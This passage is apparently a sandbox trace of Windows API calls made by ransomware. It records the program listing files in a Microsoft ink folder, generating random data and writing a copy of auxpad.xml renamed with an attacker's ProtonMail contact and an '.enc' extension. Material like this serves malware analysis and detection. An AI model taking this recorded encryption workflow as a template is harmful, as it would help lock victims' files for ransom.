shared\\ink\\fr-FR\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0122.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0122.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0122.160] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0122.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0122.160] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7590 [0122.162] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.162] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="auxpad", cAlternateFileName="")) returned 1 [0122.162] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0122.162] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="insert", cAlternateFileName="")) returned 1 [0122.162] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0122.162] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="keypad", cAlternateFileName="")) returned 1 [0122.162] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0122.162] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0122.162] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0122.163] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="oskclearui", cAlternateFileName="OSKCLE~1")) returned 1 [0122.163] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0122.163] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0122.163] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0122.163] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="osknav", cAlternateFileName="")) returned 1 [0122.163] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0122.163] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0122.163] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0122.164] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0122.164] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0122.164] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0122.164] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0122.164] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 0 [0122.164] FindClose (in: hFindFile=0x10f7590 | out: hFindFile=0x10f7590) returned 1 [0122.165] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad")) returned 0x10 [0122.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0122.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0122.166] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0122.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0122.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0122.167] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert")) returned 0x10 [0122.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db9e0 | out: hHeap=0x2ad0000) returned 1 [0122.168] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0122.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0122.169] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad")) returned 0x10 [0122.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0122.169] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0122.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0122.170] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main")) returned 0x10 [0122.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db9e0 | out: hHeap=0x2ad0000) returned 1 [0122.170] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0122.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0122.171] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui")) returned 0x10 [0122.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0122.171] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811f8, Size=0x20) returned 0x33ea3b8 [0122.171] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0122.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0122.172] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881078, Size=0x20) returned 0x33ea6b0 [0122.172] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu")) returned 0x10 [0122.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1ee0 | out: hHeap=0x2ad0000) returned 1 [0122.173] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0122.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a20f0 | out: hHeap=0x2ad0000) returned 1 [0122.174] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav")) returned 0x10 [0122.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0122.174] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0122.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0122.174] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad")) returned 0x10 [0122.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0122.175] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0122.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0122.176] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred")) returned 0x10 [0122.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0122.176] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea3b8, Size=0x40) returned 0x3887890 [0122.176] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0122.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0122.176] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea6b0, Size=0x40) returned 0x38878d8 [0122.177] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols")) returned 0x10 [0122.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a28d8 | out: hHeap=0x2ad0000) returned 1 [0122.177] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0122.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0122.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.178] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml", lpFilePart=0x9bada4*="auxpad.xml") returned 0x4b [0122.178] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4)) returned 1 [0122.178] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8a4 | out: pbBuffer=0x366a8a4) returned 1 [0122.178] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.179] GetFileType (hFile=0x39c) returned 0x1 [0122.179] GetFileType (hFile=0x39c) returned 0x1 [0122.179] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.179] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.179] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.179] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.179] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.180] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.180] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.180] GetLastError () returned 0x0 [0122.180] GetCurrentThreadId () returned 0x9b0 [0122.180] GetLastError () returned 0x0 [0122.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0122.180] GetLastError () returned 0x0 [0122.180] GetLastError () returned 0x0 [0122.180] GetLastError () returned 0x0 [0122.180] GetLastError () returned 0x0 [0122.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bc8 [0122.181] GetLastError () returned 0x0 [0122.181] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.181] GetFileType (hFile=0x3ac) returned 0x1 [0122.181] GetLastError () returned 0x0 [0122.181] GetCurrentThreadId () returned 0x9b0 [0122.181] GetLastError () returned 0x0 [0122.182] GetFileType (hFile=0x3ac) returned 0x1 [0122.182] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.182] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.182] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.182] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.182] GetLastError () returned 0x0 [0122.182] GetCurrentThreadId () returned 0x9b0 [0122.182] GetLastError () returned 0x0 [0122.182] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bc8 | out: 